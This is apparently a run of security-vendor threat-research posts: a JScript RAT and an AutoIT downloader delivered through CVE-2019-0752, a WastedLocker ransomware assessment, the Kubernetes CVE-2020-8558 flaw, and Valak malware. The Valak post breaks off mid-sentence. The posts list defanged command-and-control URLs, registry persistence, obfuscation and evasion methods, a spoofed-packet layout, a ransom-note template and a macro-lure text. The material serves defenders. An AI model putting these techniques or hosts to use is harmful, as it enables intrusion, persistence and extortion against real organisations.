Indeed, with scripting languages, attackers have flexible and accessible tools to easily create sophisticated malware with multiple features and obfuscations. To demonstrate this, we chose two examples of script-based malware used to infect Windows OS users. Those examples were found from two separate sources, but came from the same IE browser exploit of the CVE-2019-0752 vulnerability. The first is a JScript Remote Access Trojan (RAT) that ensures persistence on the target system and then uses encoded network connection to connect to the attacker. After that, the attacker can execute arbitrary commands on the target machine to have potentially full control of it. The second is an AutoIT downloader that uses network connection and script functions to download and execute malware, which could be used to infect targeted systems with malware such as ransomware, spyware and so on.

Finally, to give more details about scripting languages used for script-based malware, we explore possible explanations for the attackers’ choice to use scripts instead of regular executables as the payload in the browser exploit.

Organizations with up-to-date Windows hosts that follow security best practices for secure web browsing have a much lower risk of infection. Palo Alto Networks customers are protected from this threat via IPS signatures. URL Filtering and WildFire both identify related samples and infrastructure as malware.

CVE-2019-0752

CVE-2019-0752 is a Scripting Engine Memory Corruption Vulnerability that was patched in April 2019. It can lead to remote code execution (RCE) on a target machine. In the case we examined, the exploit of the vulnerability was used to execute PowerShell commands to download the two samples presented here. A detailed exploit writeup of the CVE-2019-0752 vulnerability can be found in this Zero Day Initiative Blog Post.

JScript RAT in Our Browser

We observed the c.js JScript RAT downloaded from the assurancetemporaireenligne[.]com domain on April 18. The PowerShell command used by the exploit of the CVE-2019-0752 vulnerability can be found in Figure 1. In this section, we will focus on the analysis of the c.js file. First, we will cover the static analysis of the file so we can have a good overview of the malicious script. Then we will use dynamic analysis to clearly expose the behavior of the script, especially the technique used by the malicious script to ensure persistence on the target machine and to connect to the remote server.

This command shows the set of PowerShell commands used by the exploit of the CVE-2019-0752 vulnerability to download and launch the JScript RAT sample. — Figure 1. Command used to download and launch the JScript RAT sample.

Static Analysis of the c.js File

The c.js script below is an obfuscated script that doesn’t give any hint of its behavior at first glance.

After deobfuscation, we can see in Figure 2 that two packed pieces of JScript code are stored in data1 and data2.

Deobfuscating the script, as shown here, shows that two packed pieces of JScript code, which will run the script-based malware being examined, are stored in data1 and data2. — Figure 2. Deobfuscated c.js script, part one.

Figure 3 shows that the code stored in data1 is put in the HKCU\Software\loaderName register key and the code stored in data2 is encoded using the EncodeScriptFile function and written into the loader.jse file. The path to the loader.jse script is then passed to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run register key and never used again after that (we will give more details about this behavior in the next section). There is also a host variable initialized with the hxxp://seemee[.]ddns[.]net/loader/loader2/www URL. The variable is never used in the script, but it can give a hint of a network activity during the execution. Finally, the loader.jse is run and c.js deletes itself.

This section of deobfuscated code from the script-based malware sample shows where the malicious code is stored. — Figure 3. Deobfuscated c.js script, part two.

Now that we have a good overview of the malicious script code, let's enter into the details of its behavior with dynamic analysis.

Technique to Ensure Persistence

First, the c.js script creates and sets a new value for the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run. This value, named loaderName, is set with a path to a certain loader.jse file, as we can see in Figure 4 below.

This image shows how the script creates a new value for the registry key, which is set with a path to a certain loader.jse file. — Figure 4. API Hook on RegSetValueExA.

The Run key causes programs to run each time that a user logs on, and so the loader.jse script, which is not created yet, will run automatically each time the Windows OS boots. The next step of the persistence process of the c.js script is demonstrated in Figure 5, where the script creates the actual loader.jse file. Figure 5 also shows that the loader.jse script is created in the AppData folder. This folder is a hidden folder by default on Windows OS, so it is therefore harder for the target to detect the malicious file present in the system.

This shows that the loader.jse script is created in the AppData folder, a hidden folder by default on Windows OS. — Figure 5. API Hook on CreateFileW.

After the creation of the loader.jse file, the c.js script uses the open handle of this file, as shown in Figure 6, to put some code in it, as shown in Figure 7.

After the creation of the loader.jse file, the c.js script uses the open handle of this file, as shown here, to put some code in it. — Figure 6. Return of the CreateFileW function.

This image shows that the code written in the file is obfuscated. Being able to accomplish heavy obfuscation relatively easy is one reason attackers might choose to use script-based malware. — Figure 7. API Hook on WriteFile.

Figure 7 also shows that the code written in the file is obfuscated. Thanks to the magic bytes “#@~^” present at the beginning of the file, we can conclude that the loader.jse script has been encoded with Microsoft's script encoding. This is consistent with our static analysis. Then, the encoded file is run via the ShellExecute function (Figure 8) and the c.js file deletes itself.

This shows how the encoded file is run via the ShellExecute function before the c.js file deletes itself. — Figure 8. API Hook on ShellExecuteExW.

To sum up, to ensure persistence on the targeted host, the c.js file tries to not leave traces behind. To do that, it uses the Windows registry key Run, and then it drops an encoded file, loader.jse, in a hidden folder before deleting itself.

Connection to the Remote Server

Before we can analyze the behavior of the loader.jse and the connection to the remote server, we have to go back to the c.js file execution. Indeed, as we saw during our static analysis, this file also creates a registry key named HKCU\Software\loaderName and sets a value data in this key with some packed JScript code. This action can also be seen in Figure 9.

This shows how the c.js file creates a registry key and sets a value in this key with some packed JScript code. — Figure 9. API Hook on RegSetValueExA during c.js file execution.

This step in the c.js execution is very important because when the loader.jse is run, it opens the registry key HKCU\Software\loaderName (Figure 10) and runs the code contained in the data value.

This step shows how the loader.jse file opens the registry key and runs the code contained in the data value. — Figure 10. API Hook on RegOpenKeyExA during loader.jse file execution.

Now, when we take a look at the packed code in the registry key loaderName, we can notice the function(p,a,c,k,e,d) pattern in it (Figure 11). This pattern is an indicator that the Dean Edwards packer was used to obfuscate the code. This packer is outdated now but when it was common, it was widely used by benign scripts. Because of this, it was whitelisted by many kinds of detection technologies.

This shows how we can look at the packed code in the registry key and notice the pattern that indicates that the Dean Edwards packer was used to obfuscate the code. — Figure 11. loaderName registry key with the packed code.

After the code unpacking, Figure 12 shows that a GET request is made to the loader.php page of the hxxp://seemee[.]ddns [.]net domain. An argument r, which is a random number shared between the malicious script and the remote server, is used like a token to encode and decode the data sent and received through the network. Another function with the ability to decode strings is used here to decode the response of the GET request. The connection with the remote server is now set up, and so the malicious script will use the code received in the response to the GET request to connect to the cmd.php page, which is the panel where the attacker can choose commands to execute on the target machine.

This view of the unpacked code shows that a GET request is made to the loader.php page of the malicious domain, as well as other commands executed by the code. — Figure 12. Unpacked code executed by loader.jse.

The script contained in the request’s response is an infinite loop that makes requests to the cmd.php page to retrieve indications of the tasks to execute (Figure 13).

This script contained in the request's response is an infinite loop that makes requests to the cmd.php page to retrieve indications of the tasks to execute. — Figure 13: Launch of the tasks.

The attacker can perform multiple tasks on the target system: execute commands, download files, reboot the Windows OS, terminate the current task and shut down the Windows OS (Figure 14).

This shows commands that can be executed on the target machine, including Download, Exectue, Terminate, Reboot and Shutdown. — Figure 14. Commands that can be executed on the target machine.

AutoIT Downloader

Shortly after the discovery of the JScript RAT, on April 30, 2020, we observed the 2.exe file downloaded from the dark[.]crypterfile[.]com domain using the same vulnerability CVE-2019-0752 (Figure 15). This section will focus on the analysis of the compiled AutoIT script.

This command shows the set of PowerShell commands used by the exploit of the CVE-2019-0752 vulnerability to download and launch the compiled AutoIT sample. — Figure 15. Command used to download and launch the AutoIT downloader sample.

Technical Analysis

When we disassemble the Portable Executable (PE) file, we notice a clue that we are in the presence of a compiled AutoIT script. Indeed, in the code there is a check to see if we are running the PE file with a debugger (Figure 16). If it is the case, a message box pops up with the message,”This is a third party compiled AutoIT script” (Figure 17).

This shows the check in the code to see if we are running the PE file with a debugger. Of particular interest is the line in pink: "call ds:IsDeBuggerPresent" — Figure 16. Debugger check.

This shows the message box that pops up in response to the check: "This is a third-pary compiled AutoIT script." — Figure 17. Message that proves the presence of a compiled AutoIT script.

After the decompilation of the code (Figure 18) using an AutoIT script decompiler, we notice two parts in it. The first part manages the retrieval of the system information. This information is stored in the $asysinfo array. Then there is a check on the sixth element of this array, which corresponds to the number of logical processors. The check verifies whether the number of logical processors is greater than or equal to four, and it brings us to the second part of the script: the malicious files download. Using the InetGet and Run AutoIT functions, the malicious script downloads and executes multiple files on the target system. The last file downloaded is stored in the Current User Startup folder, so this file will be executed each time the user logs in to the Windows OS. This allows the attacker to ensure persistence on the targeted system.

This shows what is present after the decompliation of the code using an AutoIT script decompiler. The result contains two parts: one to manage the retrieval of the system information, and the other causes the download of the script-based malware. — Figure 18. Malicious AutoIT script.

Possible Reasons to Use Scripts

After the analysis of the two samples, we have a good overview of how attackers use scripts to carry out their malicious activities on a target system. In this section, we focus on the reasons that could lead an attacker to choose a script instead of a regular executable file.

First of all, scripting languages such as JScript, VBScript and even AutoIT were originally made to automate and simplify the execution of tasks in the Windows environment, and so these languages have multiple functions to ease the calls to Windows API. Due to the ease of use of these functions, it is pretty simple for an attacker to establish a network connection or to interact with the Windows environment – for example, to execute shell commands. Scripting languages are also often higher level than C or C++, and are easier to learn and more accessible for attackers. With just a few lines of code, attackers can build a working and flexible malicious program with lots of features like network connection, persistence on the targeted system, execution of commands, etc.

Furthermore, attackers can use lots of different techniques and tools to obfuscate their malicious scripts. This can involve very straightforward tools like Microsoft's script encoding, when the attacker is looking primarily for fast results, or it can take the form of very heavy obfuscations that will be challenging for analysts to deobfuscate. This again illustrates the flexibility of scripts.

Finally, malicious scripts allow attackers to create heavy obfuscation if they choose to, meaning that the malicious scripts can evade different kinds of detections and so bypass anti-malware technologies. Once the script-based malware is detected and tagged as malware by defenders, it is easier and faster for attackers to develop new variants to evade current detections if they are using scripting languages.

Conclusion

The samples presented are two examples of how attackers can use scripts to engage in malicious activities on Windows target machines. Those scripts do not reinvent the wheel, but they do offer flexibility and accessibility to attackers. As we saw in our analyses, these advantages allow the attackers to execute commands and so potentially have full control over target machines. For these reasons, attackers may have an incentive to choose this option.

Organizations with up-to-date Windows hosts that follow security best practices for secure web browsing have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Indeed, customers are currently covered for the CVE-2019-0752 vulnerability by our IPS signature 55438. URL Filtering and WildFire also protect our customers from the kinds of attacks described here.

IOCs

JScript Sample

SHA256 hashes

c.js:

751D161ED4AFD822925C0373395F014578F166467D20A4B1ADFDB27FD0A83C36

loader.jse:

CCCF25DCD1FA16017B2ACCF4BC501BE583824423FC3A09779116AE07D833F2B2

HTTP URLs

hxxp://assurancetemporaireenligne[.]com/c[.]js

hxxp://seemee[.]ddns[.]net/loader/loader2/www/loader[.]php

hxxp://seemee[.]ddns[.]net/loader/loader2/www/cmd[.]php

AutoIT Downloader Sample

SHA256 hashes

2.exe:

BA60EFE2E939DA16E3D240732FDA286FBD3DB3A0F06CB12D7042C7FAC9B82B86

HTTP URLs

hxxp://dark[.]crypterfile[.]com/2[.]exe

hxxp://dark[.]crypterfile[.]com/1/desktop[.]exe

hxxp://dark[.]crypterfile[.]com/1/99[.]exe

hxxp://dark[.]crypterfile[.]com/1/Calc[.]vbs

hxxp://dark[.]crypterfile[.]com/1/calculator[.]exe

hxxp://dark[.]crypterfile[.]com/1/calc[.]exe

Threat Assessment: WastedLocker Ransomware

Posted on July 30, 2020June 6, 2024 by Alex Hinchliffe

Executive Summary

Unit 42 has observed a recent uptick in WastedLocker ransomware activity, which has increased since the initial samples were analyzed by WildFire in May 2020. In light of this, together with recent media coverage around large U.S. corporations being targeted by the threat, we have created this general assessment of the ransomware. Full visualization of these techniques can be viewed in the Unit 42 Playbook Viewer.

WastedLocker is post-intrusion ransomware of the same ilk as Samsa, Maze, EKANS, Ryuk, BitPaymer and others. This type of ransomware differs from large-volume, victim-agnostic ransomware variants like WannaCry by targeting an organization perceived as having a large amount of assets, successfully breaching it, and then deploying specially crafted ransomware to as many systems as possible within that organization in a short timeframe to maximize impact and increase chances of receiving a much larger ransom payment.

On June 23, 2020, NCC Group published a report providing a detailed overview of the WastedLocker ransomware, including information on the group believed to be behind it, Evil Corp. In the past, this group has been responsible for the Dridex banking Trojan and other related threats and campaigns.

The Palo Alto Networks Threat Prevention subscription for the Next-Generation Firewall with WildFire and the Cortex XDR endpoint protection engine detects activity associated with this ransomware. Cortex XDR also contains an Anti-Ransomware Protection module, which targets encryption-based activities associated with ransomware. Additionally, AutoFocus customers can review activity associated with this threat with the following tag: WastedLocker.

Targeting

Using our threat intelligence platform, AutoFocus, Unit 42 has identified some possible targets for the actors behind WastedLocker. The majority of organizations are based in the U.S., which ties in with activity reported by Symantec on June 26, 2020. The organizations operate in various sectors, including professional and legal services, utilities and energy, manufacturing, wholesale and retail, high tech, engineering, pharma and life sciences, and transportation and logistics (including one transportation and logistics organization from the United Kingdom that appears to have operations in the U.S).

WastedLocker Attack Technical Overview

Note: This is only a high-level overview of the pertinent technical aspects of WastedLocker attacks. For a more in-depth technical analysis, including Indicators of Compromise (IoCs), see SentinelOne’s blog, “WastedLocker Ransomware: Abusing ADS and NTFS File Attributes.”.

This figure shows the WastedLocker Killchain, progressing from the browser to malicious JS from a downloaded ZIP File to a PowerShell Cobalt Strike Loader to system utilities to ransomware execution. — Figure 1. WastedLocker killchain

Initial Infection Vector

According to previously reported WastedLocker activity by Symantec, the most commonly observed initial infection mechanism for WastedLocker attacks are ZIP files (likely disguised as legitimate software updates) containing malicious SocGholish JavaScript framework loader components that profile the victim system and use PowerShell to ultimately deploy Cobalt Strike payloads.

While the full technical analysis of how the SocGholish framework operates is beyond the scope of this blog, an in-depth summary of its operation can be found in this post about fake browser update pages.

Lateral Movement

Once the Cobalt Strike payload is installed on a victim’s machine, it is then used to move laterally through the victim’s network and facilitate the identification of additional systems on which attackers can deploy their main payloads. (WastedLocker attackers have also been observed using legitimate Windows utilities such as Windows Management Instrumentation [WMI] and PsExec to do this as well.) Of particularly high value to targeted ransomware attackers are systems that directly affect a victim’s customer-facing revenue-generating business operations, internal systems of high visibility and high use, and systems that contain (or facilitate the deployment of) system backups.

Final Payload

Finally, once sufficient reconnaissance of the victim’s network has been conducted, the attackers move to deploy the WastedLocker ransomware payload using one or more system management utilities. (The exact mechanism is out of scope for this blog, but more details are available in SentinelOne’s post.)

During execution on a target host, the ransomware will:

Attempt to elevate execution privileges (if not already running as Administrator).
Attempt to disable Windows Defender monitoring.
Delete shadow copies/volume snapshots.
Install itself as a service.

Once installed, the delivery of the payload is complete and files are overwritten. The ransomware mainly uses a .<victim name>wasted extension, though files containing ransom note details are appended with a .<victim_name>wasted_info extension.

The *.wasted_info ransom note files we have analyzed thus far resemble the following example where variable data is shown below between <> characters. The actor email addresses used can differ, and the domain names include the following (in most- to least-used order): PROTONMAIL.CH, AIRMAIL.CC, ECLIPSO.CH, TUTANOTA.COM and PROTONMAIL.COM

YOUR NETWORK IS ENCRYPTED NOW

USE <actor email 1> | <actor email 2> TO GET THE PRICE FOR YOUR DATA

DO NOT GIVE THIS EMAIL TO 3RD PARTIES

DO NOT RENAME OR MOVE THE FILE

THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY:

[begin_key]<base64 encoded public key>[end_key]

KEEP IT

Conclusion

The trend of targeted ransomware attacks is on the rise because they are comparatively more effective and yield higher ransoms than more common forms of “spray-and-pray” ransomware attacks similar to the ones observed by Unit 42 during the early stages of the COVID-19 pandemic. WastedLocker is a prime example of a targeted ransomware attack. The impact a group of determined cybercriminals can have against organizations can be devastating, and the methodologies they utilize only serve to underscore the need for enterprises to employ both robust defensive technologies and capable cybersecurity expertise into their environments.

Palo Alto Networks detects/prevents WastedLocker in the following ways:

WildFire: all known samples are identified as malware.
Cortex XDR Agent with:
- indicators for WastedLocker.
- Anti-Ransomware Module to detect WastedLocker encryption behaviors.
- Local Analysis detection to detect WastedLocker binaries.
- Behavioral Threat Protection (BTP) triggers on Volume Shadow Copy being deleted by WastedLocker.
Next-Generation Firewalls: DNS Signatures detect the known command and control (C2) domains, which are also categorized as malware in PAN-DB.
AutoFocus: Tracking related activity using the WastedLocker tag.

Outside the protection offered by Palo Alto Networks products, Unit 42 strongly recommends companies and individuals combat the effects of ransomware by adopting a regular backup regimen of their critical systems paired with hardened (or, better still, offsite) storage of those backups.

More information on ransomware can be found in the 2021 Unit 42 Ransomware Threat Report.

References & Resources

https://isc.sans.edu/forums/diary/Fake+browser+update+pages+are+still+a+thing/25774/

https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us

https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/

https://pan-unit42.github.io/playbook_viewer/?pb=wastedlocker-ransomware

Best Practices from Palo Alto Networks

Kubernetes Vulnerability Puts Clusters at Risk of Takeover (CVE-2020-8558)

Posted on July 27, 2020June 7, 2024 by Erica Naone

Executive Summary

A security issue assigned CVE-2020-8558 was recently discovered in the kube-proxy, a networking component running on Kubernetes nodes. The issue exposed internal services of Kubernetes nodes, often run without authentication. On certain Kubernetes deployments, this could have exposed the api-server, allowing an unauthenticated attacker to gain complete control over the cluster. An attacker with this sort of access could steal information, deploy crypto miners or remove existing services altogether.

The vulnerability exposed nodes’ localhost services – services meant to be accessible only from the node itself – to hosts on the local network and to pods running on the node. Localhost bound services expect that only trusted, local processes can interact with them, and thus often serve requests without authentication. If your nodes run localhost services without enforcing authentication, you are affected.

The issue details were made public on April 18, 2020, and a patch released on June 1, 2020. We worked to assess additional impact to Kubernetes clusters and found that some Kubernetes installations don’t disable the api-server insecure-port, which is normally only accessible from within the master node. Exploiting CVE-2020-8558, attackers can gain access to the insecure-port and gain full control over the cluster.

We alerted the Kubernetes security team of the potential impact of this vulnerability. In turn, the team rated the vulnerability’s impact as High in clusters where the api-server insecure-port is enabled, and otherwise Medium. Luckily, CVE-2020-8558’s impact is somewhat reduced on most hosted Kubernetes services like Azure Kubernetes Service (AKS), Amazon’s Elastic Kubernetes Service (EKS) and Google Kubernetes Engine (GKE). CVE-2020-8558 was patched in Kubernetes versions v1.18.4, v1.17.7, and v1.16.11 (released June 17, 2020). All users are encouraged to update.

Prisma Cloud customers are protected from this vulnerability through the capabilities described in the Conclusion section.

The kube-proxy

kube-proxy is a network proxy running on each node in a Kubernetes cluster. Its job is to manage connectivity among pods and services. Kubernetes services expose a single clusterIP, but may consist of multiple backing pods to enable load balancing. A service may consist of three pods – each with its own IP address – but will expose only one clusterIP, for example, 10.0.0.1. Pods accessing that service will send packets to its clusterIP, 10.0.0.1, but must somehow be redirected to one of the pods behind the service abstraction.

That’s where the kube-proxy comes in. It sets up routing tables on each node, so that requests targeting a service will be correctly routed to one of the pods backing that service. It’s commonly deployed as a static pod or as part of a DaemonSet.

GKE’s documentation has further details, if you're interested.

There are networking solutions, such as Cilium, that could be configured to fully replace the kube-proxy.

The Culprit Is route_localnet

As part of its job, the kube-proxy configures several network parameters through sysctl files. One of those is net.ipv4.conf.all.route_localnet – the culprit behind this vulnerability. Sysctl documentation states, "route_localnet: Do not consider loopback addresses as martian source or destination while routing. This enables the use of 127/8 for local routing purposes. default FALSE."

Let’s unpack that explanation. For IPv4, the loopback addresses consist of the 127.0.0.0/8 address block (127.0.0.1-127.255.255.255), while commonly only 127.0.0.1 is used and has the hostname “localhost” mapped to it. Those are addresses used by your machine to refer to itself. Packets targeting a local service will be sent to IP 127.0.0.1 through the loopback network interface, with their source IP set to 127.0.0.1 as well.

Setting route_localnet instructs the kernel to not define 127.0.0.1/8 IP addresses as martian. What does “martian” mean in this context? Well, some packets arrive at a network interface and make claims about their source or destination IP that just don’t make sense. For example, a packet could arrive with a source IP of 255.255.255.255. That packet shouldn’t exist: 255.255.255.255 can’t identify a host, it’s a reserved address used to indicate broadcast. So what’s going on? Your kernel can’t know for sure and has no choice but to conclude the packet came from Mars and should be dropped.

Martian packets often hint that someone malicious on the network is trying to attack you. In the example above, the attacker may want your service to respond to IP 255.255.255.255, broadcasting the response. A fishy destination IP can also cause a packet to be deemed martian, such as a packet arriving at an external network interface with a destination IP of 127.0.0.1. Again, that packet doesn’t make sense – 127.0.0.1 is used for internal communication through the loopback interface and shouldn’t arrive from a network-facing interface. For more details on martian packets, refer to RFC 1812.

In some complicated routing scenarios, you might want the kernel to let certain martian packets pass through. That’s what route_localnet is used for. It instructs the kernel not to consider 127.0.0.0/8 as martian addresses (as it normally would, like in the case discussed in the previous paragraph). The kube-proxy enables route_localnet to support a bunch of routing magic that I won’t get into, but route_localnet is disabled by default for a reason. Unless proper mitigation is set up alongside it, attackers on the local network could exploit route_localnet to perform several attacks. The most impactful is reaching localhost bound services.

Localhost-only Services

Linux allows processes to listen only on a specific IP address so that they can bind themselves to the address of a network interface. Internal services often use that feature to listen only on 127.0.0.1. Normally, this ensures that only local processes can access the service, as only they can reach 127.0.0.1. This assumption is broken with route_localnet, since it allows external packets destined for 127.0.0.0/8. That’s highly concerning given internal services tend not to enforce authentication, expecting external packets will not reach them.

Reaching Internal Services

An attacker attempting to reach the victim’s internal services would need to construct a malicious packet where the destination IP address is set to 127.0.0.1 and the destination MAC address is set to the victim's MAC address. Without a meaningful destination IP, the attacker’s packet only relies on layer 2 (MAC-based) routing to reach the victim and is thus limited to the local network. Therefore, even if a victim enabled route_localnet, only attackers on the local network could access the victim’s localhost services.

When the victim machine receives the malicious packet, it will let it pass because of route_localnet. Since the packet has a destination IP of 127.0.0.1, it would be eligible to access localhost services. Table 1 shows what a malicious packet may look like. The attacker’s IP is 10.0.0.1 with MAC address XXX, and the target IP is 10.0.0.0.2 with MAC address YYY. The target is running a localhost-only service on port 1234.

src mac	XXX	dst mac	YYY
src ip	10.0.0.1	dst ip	127.0.0.1
src port	random	dst port	1234

Figure 1. A packet exploiting route_localnet

The attacker sends the packet with his IP address to ensure he receives the target’s responses. To summarize, route_localnet allows attackers on the local network to access a host’s internal services with packets like the one shown above.

Back to the Kubernetes Vulnerability (CVE-2020-8558)

Because of kube-proxy, every node in the cluster has route_localnet enabled. As a result, every host on a node’s local network could gain access to the node’s internal services. If your nodes run internal services without authentication, you are affected.

Aside from neighboring hosts on a node's local network, pods running on the node could also access its internal services. To be clear, a pod can only reach the internal services of the node hosting it. To carry out the attack, the pod must possess the CAP_NET_RAW capability. Unfortunately, Kubernetes grants this capability by default.

When we examined this issue, we tried to identify localhost services that are natively deployed by Kubernetes. We found that by default, the Kubenetes API server serves unauthenticated requests on localhost through a port dubbed the insecure-port. The insecure-port exists to allow other control-plane components running on the master (such as etcd) to easily talk with the api-server. Role-based access control (RBAC) or any other authorization mechanisms are not enforced on that port. Kubernetes installations frequently run the api-server as a pod on the master node, meaning it is running alongside a kube-proxy that has enabled route_localnet.

Alarmingly, this means that if your Kubernetes deployment didn’t disable the insecure-port, hosts on the master node’s local network could exploit CVE-2020-8558 to command the api-server and gain complete control over the cluster.

Managed Kubernetes

Managed Kubernetes platforms such as GKE, EKS and AKS are better protected against CVE-2020-8558.

To begin with, the virtual networks of some cloud service providers (CSPs), such as Microsoft Azure, don’t support layer-2 semantics and MAC-based routing. You can easily see how this manifests – every AKS machine has the same MAC address: 12:34:56:78:9A:BC. This mitigates exploitation of CVE-2020-8558 from other hosts on a node’s local network, but malicious pods possessing CAP_NET_RAW should still be able to carry out the attack.

Cloud-hosted Kubernetes offerings also tend to manage the Kubernetes control plane and api-server for you and run them on a separate network from the rest of the cluster. This protects the api-server, as it isn’t exposed to the rest of the cluster. Even if a CSP would run the api-server without disabling the insecure-port, attackers in the cluster wouldn’t be able to access it as they don’t run in the same local network.

Still, if your CSP virtual network does support layer-2 routing, malicious hosts in your cluster’s network could access localhost services on the worker nodes.

The Fix

The initial fix actually resides in the kubelet and adds mitigations around route_localnet: routing rules that cause nodes to drop external packets destined for 127.0.0.1. At the time of writing this post, route_localnet is still enabled by the kube-proxy. There are ongoing discussions about disabling it.

Even with those mitigations applied, there’s still a special case where a local network attacker could send packets to nodes’ internal UDP services. However, the attack only works if the victim node disables reverse path filtering (which normally isn't case), and in this circumstance the attacker won’t be able to get the response. A patch is being developed, but it may be dropped as the attack depends on an insecure setting (rp_filter=0).

Am I Affected?

If all of the below are true, your cluster is vulnerable to CVE-2020-8558:

Your cluster is running a vulnerable version (earlier than v1.18.4, v1.17.7, and v1.16.11).
- Note that while the issue originated from the kube-proxy, the patch is in the kubelet.
Your nodes have the kube-proxy running on them.
Your nodes (or hostnetwork pods) run localhost-only services which don’t require any further authentication.

Additionally, if the following is also true, your cluster may be vulnerable to a complete takeover through the api-server insecure-port:

Your cluster doesn’t disable the api-server insecure-port via --insecure-port=0
The api-server runs on a node alongside a kube-proxy, for example, in deployments where the api-server is a pod itself.

A node could be attacked either by a malicious host on the local network or by a malicious pod with CAP_NET_RAW running on the node.

Conclusion

CVE-2020-8558 can have some serious consequences. You should patch your clusters as soon as possible. CVE-2020-8558 also serves as a reminder that security best practices do work and significantly reduce attack surface. You should disable the api-server insecure-port, and if your pods don’t require CAP_NET_RAW, there’s no reason they should have that capability. While not related to this specific issue, we recommend implementing other security recommendations such as RBAC or running containers as a non-root user.

Palo Alto Networks Prisma Cloud customers are protected from this vulnerability. Compliance rules ensure your clusters are configured securely, blocking or alerting on:

The api-server insecure port
Pods running with CAP_NEW_RAW

Evolution of Valak, from Its Beginnings to Mass Distribution

Posted on July 24, 2020June 7, 2024 by Brad Duncan

Executive Summary

First noted in late 2019, Valak is an information stealer and malware loader that has become increasingly common in our threat landscape. From April through June of 2020, we saw waves of Valak malware two to four times a week on average through an email distribution network nicknamed Shathak or TA551. Characteristics of Valak include:

Valak relies on scheduled tasks and Windows registry updates to remain persistent on an infected Windows host.
Valak uses Alternate Data Stream (ADS) as a technique to run follow-up malware on an infected host.
Recent Valak infections show an increase in obfuscated code for configuration scripts used during the infection, possibly as an attempt to avoid detection.
Since April 2020, we have seen a great deal of Valak malware distributed by an actor sometimes referred to as Shathak/TA551.

This blog covers the history of Valak, reviews the chain of events for an infection, examines traffic generated by Valak and explores recent updates in obfuscation techniques used by the malware in order to evade detection. This blog also examines the Shathak/TA551 distribution system that has been consistently pushing Valak since April 2020.

Palo Alto Networks customers are protected from Valak by our Threat Prevention subscription for the Next-Generation Firewall.

Valak History

The earliest public record of Valak comes from Proofpoint's ET Pro ruleset, where two rules detecting Valak were introduced on October 22, 2019, for the Suricata Open Source threat detection engine.

Valak was documented as follow-up malware during an Ursnif infection (also known as Gozi or IFSB) on December 19, 2019. Analysis by Cybereason revealed Valak used a combination of techniques to remain persistent on an infected Windows host. Valak relies on scheduled tasks combined with Windows registry updates. It also uses Alternate Data Stream (ADS) during the infection process for follow-up malware.

Most examples of Valak in recent months have been distributed through malicious spam (malspam). SentinelLabs (SentinelOne) published a report providing further information about Valak, including a connection between Valak malware distribution and campaigns similar to the “Gozi ConfCrew.” Distribution characteristics were further explored in a Threat Spotlight on Valak published by Talos (Cisco).

The distribution network using malspam to push Valak has been called Shathak on Twitter. Shathak has been attributed to an actor named TA551 on the Malware Don’t Need Coffee blog.

Chain of Events

Figure 1 shows the chain of events seen for Valak infections in June and early July 2020. For a Windows computer to become infected, a victim must:

Open malspam with password-protected ZIP attachment. On June 30 and July 1, 2020, we saw indications there may also have been a link to download a ZIP archive instead of an attachment.
Extract Microsoft Word document from the password-protected ZIP archive using a unique password from the message text.
Open the Word document as shown below in Figure 2 and enable macros.

The text in the screenshot reads: "This document created in previous version of Microsoft Office Word. To view or edit this document, please click 'Enable editing' button on the top bar, and then click 'Enable content.'" This message is designed to trick the recipient into enabling macros for Valak. — Figure 2. Example of a Microsoft Word document from June 24, 2020, with macros for Valak.

For Valak infections during June 2020, the initial activity consisted of:

An HTTP or HTTPS URL ending with .cab that returned a DLL to install Valak.
Valak DLL was saved to the C:\ProgramData\ directory using a random file name, usually with a .dat or .jpg file extension, as shown in Figure 3.
Valak DLL was run using regsvr32.exe -s [filename]
Popup message stating the DLL was successfully run, as shown in Figure 4.
A JavaScript configuration file appeared as a random file name (always the same name for each wave of infections) under the C:\Users\Public\ directory, as shown in Figures 5 and 6.
Initial HTTP command and control (C2) traffic returned encoded ASCII text used to create additional malware/artifacts for the infection.

Valak DLL is saved to the C:\ProgramData\ directory using a random file name, as shown in this screenshot. — Figure 3. Initial Valak DLL retrieved after enabling macros on the Word document from Figure 2.

Message shown in screenshot: RegSvr32, DllRegisterServer in c:\programdata\51508.jpg succeeded. A link is present for the user to click OK. — Figure 4. Pop-up message on a Windows 10 host when an initial Valak DLL was successfully run using RegSvr32.exe after macros were enabled on June 24, 2020.

A JavaScript configuration file appears as a random file name under the C:\Users\Public\ directory — Figure 5. Initial script file in C:\Users\Public\ directory used during Valak infection from June 24, 2020.

The screenshot shows how Valak obfuscates variable names in the JavaScript configuration file. This is an example of obfuscation that we have noted since June 2020. — Figure 6. Contents of the JavaScript configuration file from June 24, 2020.

Figure 6 reveals variable names are obfuscated in the JavaScript configuration file. This is an example of obfuscation that we have noted since June 2020, and it is covered in more detail later in this blog when discussing Valak developments.

As the infection progressed, three things happened near-simultaneously to make Valak persistent on an infected Windows host:

A Windows executable (EXE) appeared in the infected user's AppData\Local\Temp directory as a random file name ending in .bin (PE32 executable, Mono/.Net assembly), as shown in Figure 7.
Windows registry entries were created under the key for HKCU\SOFTWARE\ApplicationContainer\Appsw64
A randomly-named text file and JavaScript (JS) file both appeared under the C:\Users\Public\ directory, as shown in Figures 8, 9 and 10.
A scheduled task was created to run the JS file located under C:\Users\Public\ and repeat running it every four minutes, as shown in Figure 11.

A Windows executable appeared in the infected user's AppData\Local\Temp directory as a random file name ending in .bin — Figure 7. EXE file with a .bin file extension from the June 24, 2020, Valak infection.

A randomly-named text file and JavaScript (JS) file both appeared under the C:\Users\Public\ directory. — Figure 8. Additional artifacts in the C:\Users\Public\ directory created during the infection.

Displayed in WordPad, we see the contents of the text file, which is a random string. — Figure 9. Contents of the text file, a random string of text.

Within the contents of the JS file used to keep the Valak infection persistent, we identified a 32-character ASCII string representing a hexadecimal value that identifies the infected Windows host — Figure 10. Contents of the JS file used to keep the Valak infection persistent.

The screenshot shows the context of a scheduled task that keeps the Valak infection persistent. Some of the text reads: "Smart Update Service - After triggered, repeat every 00:04:00 indefinitely." — Figure 11. Scheduled task for JS file used to keep the Valak infection persistent.

If the C2 domains remained active during the infection, as early as four minutes later, we saw follow-up malware:

